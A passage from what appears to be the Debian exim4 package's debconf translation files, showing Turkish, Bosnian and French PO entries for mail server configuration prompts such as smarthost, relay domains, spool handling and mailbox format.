yapılandırma küçük değişikliklerin daha rahat " "yapılmasına imkân veren bir yöntemdir. Fakat bu son yöntem daha kırılgandır " "ve değişikliklerin fazla olması halinde sorun çıkarabilir." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Bölünmüş ve bölünmemiş yapılandırma hakkında daha ayrıntılı bilgi /usr/" "share/doc/exim4-base dizinindeki Debian'a özgü README dosyalarında " "bulunabilir." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Dışarı giden postada yerel posta adı gizlensin mi?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Dışarı giden postalara ait başlıklar yeniden yazılarak, postanın farklı bir " "sistemden gönderiliyormuş gibi görünmesi sağlanabilir. Bu seçenek seçilirse; " "Kimden (From), Cevap-Kime (Reply-To), Gönderen (Sender) ve Dönüş-Yolu " "(Return-Path) alanlarındaki '${mailname}' 'localhost' ve " "'${dc_other_hostnames}' değerleri yeniden yazılır." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "/var/mail/ 'mbox' biçemi" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Ev dizininde 'Maildir' biçemi" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Yerel epostalar için dağıtım yöntemi:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim, yerel olarak dağıtılan epostaların farklı biçemlerde kaydedilmesine " "olanak tanımaktadır. Bunların en yaygınları 'mbox' ve 'Maildir'dir. 'mbox' " "epostaların tamamı için /var/mail dizininde tek bir dosya kullanır. " "'Maildir' ise her bir iletiyi ~/Maildir dizininde ayrı bir dosya halinde " "kaydeder." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Lütfen Debian'daki eposta araçlarının çoğunun yerel dağıtım yöntemi olarak " "'mbox' biçemini varsaydığını unutmayın." debian/po/bs.po0000644000000000000000000007321312027557533010567 0ustar # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # msgid "" msgstr "" "Project-Id-Version: exim4_debian\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2006-11-01 18:31+0100\n" "Last-Translator: Safir Secerovic \n" "Language-Team: Bosnian \n" "Language: bs\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "Remove undelivered messages in spool directory?" msgstr "Ukloniti neisporučena pisma iz spool direktorija?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "U exim spool direktoriju /var/spool/exim4/input nalaze se pisma koja još " "nisu isporučena. Uklanjanje Exima će uzrokovati da ostanu neisporučena do " "reinstalacije Exima." #. Type: boolean #. Description #: ../exim4-base.templates:1001 #, fuzzy msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Ako se odabere ova opcija, spool direktorij se zadržava, omogućujući pismima " "u redu da budu isporučena nekad kasnije, nakon reinstalacije Exim-a." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Rekonfiguriši exim4-config umjesto ovog paketa" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 #, fuzzy msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "Postavke kod Exim4 su izmještene u zasebni paket, exim4-config. Ako želite " "rekonfigurisati Exim4, koristite dpkg-reconfigure exim4-config." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "internet stranica; pošta se šalje i prima direktno koristeći SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "pošta se šalje preko smarthosta; prima se preko SMTP-a ili fetchmail-a" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "pošta se šalje preko smarthosta; nema lokalne pošte" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "samo lokalna isporuka; nije u mreži" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "ne konfiguriši sada" # Type: select # Description #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Opšti tip konfiguracije pošte:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Odaberite tip konfiguracije mail servera koji najbolje odgovara vašim " "potrebama." #. Type: select #. Description #: ../exim4-config.templates:1002 #, fuzzy msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistemi sa dinamičkim IP adresama, uključujući dialup sisteme bi u opštem " "slučaju trebali biti podešeni da šalju odlaznu poštu drugoj mašini koja se " "zove \"smarthost\" radi isporuke, zbog toga što mnogi prijemni sistemi na " "Internetu blokiraju dolaznu poštu koja stiže s dinamičkih IP adresa kao " "sredstvo zaštite od spama." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Sistem s dinamičkom IP adresom može primati vlastitu poštu, ili se lokalna " "isporuka može u potpunosti isključiti (osim pošte za root i postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Da li zaista želite ostaviti poštanski sistem nepodešen?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 #, fuzzy msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Dok poštanski sistem ne bude podešen, biti će neispravan i neće se moći " "koristiti. Podesiti se može nekad kasnije ili ručno ili pokretanjem \"dpkg-" "reconfigure exim4-config\" kao root." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Naziv poštanskog sistema:" #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "\"mail name\" predstavlja domain name korišten za \"qualify" "\" (kvalifikaciju) mail (poštanskih) adresa koje nemaju domain name." #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Ovaj naziv će takođe koristiti drugi programi. Trebao bi biti jedinstven, " "potpuni domain name (FQDN)." #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Na primjer, ako je mail adresa na lokalnom računaru foo@domain.example, onda " "bi ispravna vrijednost za ovu opciju bila domain.example." # Type: string # Description #. Type: string #. Description #: ../exim4-config.templates:3001 #, fuzzy msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Ovaj naziv se neće pojavljivati na Od: stavkama odlaznih pisama ako " "uključite ponovno upisivanje." # Type: string # Description #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Druge destinacije za koje se pošta prihvata:" # Type: string # Description #. Type: string #. Description #: ../exim4-config.templates:4001 #, fuzzy msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Molim unesite spisak razdovojen tačka-zarezom domena primalaca za koje će se " "ovaj sistem smatrati konačnim odredištem, osim lokalnog hostname-a (${fqdn}) " "i \"localhost\". Ove domene se obično nazivaju \"lokalne domene\"." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Uobičajeno je da se sve lokalne domene tretiraju isto. Ako su a.example i b." "example lokalne domene, acc@a.example i acc@b.example će biti dostavljena " "istoj konačnoj destinaciji. Ako želite da se različiti lokalne domene " "tretiraju različito, trebate urediti konfiguracijske datoteke poslije." # Type: string # Description #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domene za koje će se isporučivati pošta:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Molim unesite spisak razdovojen tačka-zarezom domena primalaca za koje će " "ovaj sistem prenositi poštu, na primjer kao zamjena MX ili mail gateway. To " "znači da će ovaj sistem prihvatati poštu za ove domene odsvuda sa Interneta " "i isporučivati ju u skladu s lokalnim pravilima isporuke." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Ne stavljajte lokalne domene ovdje. Možete koristiti džokere." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Mašine za koje će se isporučivati pošta:" #. Type: string #. Description #: ../exim4-config.templates:6001 #, fuzzy msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Molim unesite spisak razdvojen tačka-zarezom opsega IP adresa za koje ovaj " "sistem automatski isporučivati poštu, funkcionišući kao smarthost." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Trebate koristiti standarndi adresa/prefiks format (npr. 194.222.242.0/24 " "ili 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Ako ovaj sistem neće biti smarthost bilo kojeg računara, ostavite ovo polje " "prazno." # Type: string # Description #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Vidljivi domain name za lokalne korisnike:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "Ova opcija služi za prikrivanje lokalnog naziva poštanskog" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "IP adresa ili naziv računara odlaznog smarthosta:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Molim unesite IP adresu ili host name mail servera kojeg će ovaj sistem " "koristiti kao odlaznog smarthosta. Ako smarthost samo prihvata vašu poštu na " "portu različitom od TCP/25, dodajte dvije dvotačke i broj porta (na primjer, " "smarthos.example::587 ili 192.168.254.254:2525). Dvotačke u IPv6 adresama " "trebaju biti uduplane." #. Type: string #. Description #: ../exim4-config.templates:8001 #, fuzzy msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Ako smarthost zahtijeva autentikaciju, molim pogledajte /usr/share/doc/exim4-" "base/README.Debian.gz datoteku za napomene o podešavanju SMTP autentikacije." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Primalac pošte za root i postmaster korisnike:" #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Pošta za \"postmaster\", \"root\" i druge sistemske naloge treba biti " "preusmjeravana na korisnički nalog stvarnog sistemskog administratora." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Ako je ovo polje prazno, takva pošta će biti spremana u /var/mail/mail, što " "se ne preporučuje." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Primijetite da se postmasterova pošta treba čitati na onom sistemu na koji " "je upućena, a ne da se prosljeđuje drugdje, tako da (barem jedan) od " "korisnika navedenih ovdje ne bi trebali preusmjeravati svoju poštu s ove " "mašine. Koristite \"real-\" prefix kako bi forsirali lokalnu isporuku." #. Type: string #. Description #: ../exim4-config.templates:9001 #, fuzzy msgid "Multiple user names need to be separated by spaces." msgstr "Više korisničkih imena treba odvojiti razmacima." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "IP adrese koje će se osluškivati za dolazne SMTP konekcije:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Molim unesite spisak razdvojen tačka-zarezom IP adresa. Exim-ov SMTP " "osluškivač daemon će osluškivati sve IP adrese navedene ovdje." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Ako ostavite ovo polje prazno, Exim će osluškivati za konekcije na svim " "dostupnim mrežnim interfejsima." #. Type: string #. Description #: ../exim4-config.templates:10001 #, fuzzy msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Ako ovaj sistem samo direktno prima poštu preko lokalnih servisa poput " "fetchmail-a ili vašeg programa za poštu (MUA) na localhostu (i ne preko " "drugih računara), savjetuje se zabranai vanjskih konekcije na lokalni Exim " "(mail server). Ovo se može postići unoštenjem 127.0.0.1 ovdje. Ovo će " "isključiti osluškivanje na javnim mrežnim interfejsima." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Držati broj DNS upita minimalnim (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "U normalnom modu rada Exim pravi DNS pretrage prilikom pokretanja i " "prilikom slanja ili primanja pisama. One se rade u svrhu bilježenja i da bi " "zadržao manjim broj stalnih postavki u konfiguracionoj datoteci." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Ako ovaj sistem nema cijelo vrijeme dostupan DNS full service resolver (na " "primjer, koristi dial-up internet pristup pomoću dial-on-demand), ovo može " "imati neželjene posljedice. Na primjer, prilikom pokretanja Exim-a ili " "pokretanja rednog slanja poruka (čak i bez poruka na čekanju) može doći do " "skupog dial-up računa." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Ova opcija se treba odabrati ako ovaj sistem koristi Dial-on-Demand. Ako je " "uvijek na internetu, ova opcija treba biti isključena." # Type: select # Description #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Podešavanje mail servera" # Type: boolean # Description #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Podijeliti konfiguraciju na manje datoteke?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Debian exim4 paketi mogu koristiti \"nepodijeljenu konfiguraciju\", jednu " "monolitnu datoteku (/etc/exim4/exim4.conf.template) ili \"podijeljenu " "konfiguraciju\", gdje su Exim konfiguracione datoteke sastavljene od 50 " "manjih datoteka u /etc/exim4/conf.d/ direktoriju." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "Nepodijeljena konfiguracija je bolja za veće izmjene i uopše stabilnija, dok " "podijeljena konfiguracija pruža lahak način za pravljenje manjih izmjena ali " "je osjetljivija i može se pokvariti ako se nepažljivo izmjenjuje." #. Type: boolean #. Description #: ../exim4-config.templates:13001 #, fuzzy msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Detaljnija diskusija vezana za podijeljenu i nepodijeljenu konfiguraciju se " "može pronaći u /usr/share/doc/exim4-base/README.Debian.gz." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Prikriti lokalni naziv poštanskog sistema u odlaznoj pošti?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 #, fuzzy msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Zaglavlja odlaznih pisama se mogu ponovo napisana kako bi izgledala kao da " "su napravljena na drugom sistemu. Ako se izabere ova opcija \"${mailname}\", " "\"localhost\" i \"${dc_other_hostnames}\" u Od, Odgovori na, Pošiljalac i " "Povratni put bivaju ponovo napisani." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "mbox format u /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Maildir format u home direktoriju" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Metod isporuke za lokalnu poštu:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "Exim može spremati lokalno isporučenu poštu u različitim formatima. Najčešće " "korišteni su mbox i Maildir. mbox koristi jednu datoteku za kompletan mail " "direktorij koji je smješten u /var/mail. S Maildir formatom svaka " "pojedinačna poruka se smješta u zasebnu datoteku u ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Molim primijetite da većina mail halata u Debianu podrazumijevano očekuje da " "metod lokalne isporuke bude mbox formata." #, fuzzy #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "Premjestiti eisporučenu poštu iz exim(v3) u exim4 spool direktorij?" #, fuzzy #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Postoje neisporučena pisma u exim(v3) (ili exim-tls(v3)) spool " #~ "direktoriju /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Odabiranje ove opcije će premjestiti ove poruke u exim4 spool (/var/spool/" #~ "exim4/input/) odakle će njima upravljati exim4." #, fuzzy #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Ovo radi samo u jedno smjeru: Exim4 može upravljati exim(v3) spool-om ali " #~ "ne i obrnuto. Trebate premjestiti pisma samo ako se ne planirate vratiti " #~ "na exim(v3). U suprotnom, poruke se trebaju ručno premjestiti nekad " #~ "kasnije." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "Ako ostavite ovo prazno, Exim neće raditi lokalnu isporuku." #~ msgid "" #~ "Be aware that this works only one-way, exim4 can handle exim(v3)'s spool " #~ "but not the other way round." #~ msgstr "" #~ "Obratite pažnju da ovo radi samo jednosmjerno, exim4 može upravljati sa " #~ "exim(v3) spool direktorijem ali ne i obrnuto." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Premjestite poštu samo ako se ne planirate vratiti na exim(v3), u " #~ "suprotnom pošta ne bi trebala biti premještana sada nego ručno nakon što " #~ "pretvorite vaše postavke." # Type: string # Description #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Ako ih ima još, unesite ih ovdje razdvojene dvotačkama. Ostavite prazno " #~ "ako nema." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "Molim ovdje unesite domene za koje prihvatate isporučivati poštu." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "To su domene za koje ste spremni prihvatati poštu od bilo kuda sa " #~ "Interneta. Nemojte stavljati lokalne domene ovdje." #, fuzzy #~ msgid "" #~ "The domains entered here should be separated by semicolons. Wildcards may " #~ "be used." #~ msgstr "" #~ "Domene koje ovdje unesete trebate razdvojiti dvotačkama. Možete koristiti " #~ "pomoćne znakove." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Pošto ste uključili prikrivanje naziva lokalnog poštanskog sistema u " #~ "odlaznoj pošti, morate navesti domain name koji će se koristiti za poštu " #~ "lokalnih korisnika; obično je to mašina na kojoj normalno primate vašu " #~ "poštu." #~ msgid "Where will your users read their mail?" #~ msgstr "Gdje će vaši korisnici čitati svoju poštu?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "Mašina koja upravlja odlaznom poštom" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "Unesite hostname mašine na koju se šalje odlazna pošta." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Uključite ovu osobinu ako koristite Dial-on-Demand; u suprotnom, " #~ "isključite je." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "Odaberite tip konfiguracije koja najbolje odgovara vašim potrebama." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "Ako niste sigurni, onda ne biste trebali podijeliti konfiguraciju." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "ručno pretvoriti iz ručno podešene Exim v3 konfiguracije" #~ msgid "Configure Exim4 manually?" #~ msgstr "Ručno podesiti Exim4?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Vi ste naveli da imate ručno podešenu Exim 3 konfiguraciju. Kako biste ju " #~ "pretvorili na Exim 4, možete koristiti exim_convert4r4(8) alatku nakon " #~ "instalacije. Pogledajte/usr/share/doc/exim4-base/examples/example.conf.gz " #~ "i /usr/share/doc/exim4-base/README.Debian.gz datoteke!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Dok se vaš poštanski sistem ne podesi, biti će neispravan i neće se moći " #~ "koristiti." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "Vaš \"mail name\" je hostname dio adrese koji će biti prikazan na " #~ "odlaznim news i mail porukama (iza korisničkog imena i znaka @) ukoliko " #~ "nije skriveno prepisivanjem." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Molim unesite ovdje mreže lokalnih mašina za koje prihvatate isporučivati " #~ "poštu." debian/po/fr.po0000644000000000000000000006465612200230010010550 0ustar # translation of fr.po to French # # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # # Developers do not need to manually edit POT or PO files. # # Christian Perrier , 2006, 2007. msgid "" msgstr "" "Project-Id-Version: fr\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-06-06 08:17+0200\n" "Last-Translator: Christian Perrier \n" "Language-Team: French \n" "Language: fr\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "Faut-il supprimer les courriers non distribués du tampon d'envoi ?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "Des courriers électroniques non distribués ont été trouvés dans le tampon " "d'envoi d'Exim (/var/spool/exim4/input). Si vous supprimez Exim, ils ne " "seront pas distribués tant qu'il ne sera pas réinstallé." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "Si vous refusez cette option, le tampon d'envoi sera conservé, ce qui " "permettra de distribuer les messages de la file d'attente lors de la " "réinstallation d'Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "Reconfiguration d'Exim avec exim4-config" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 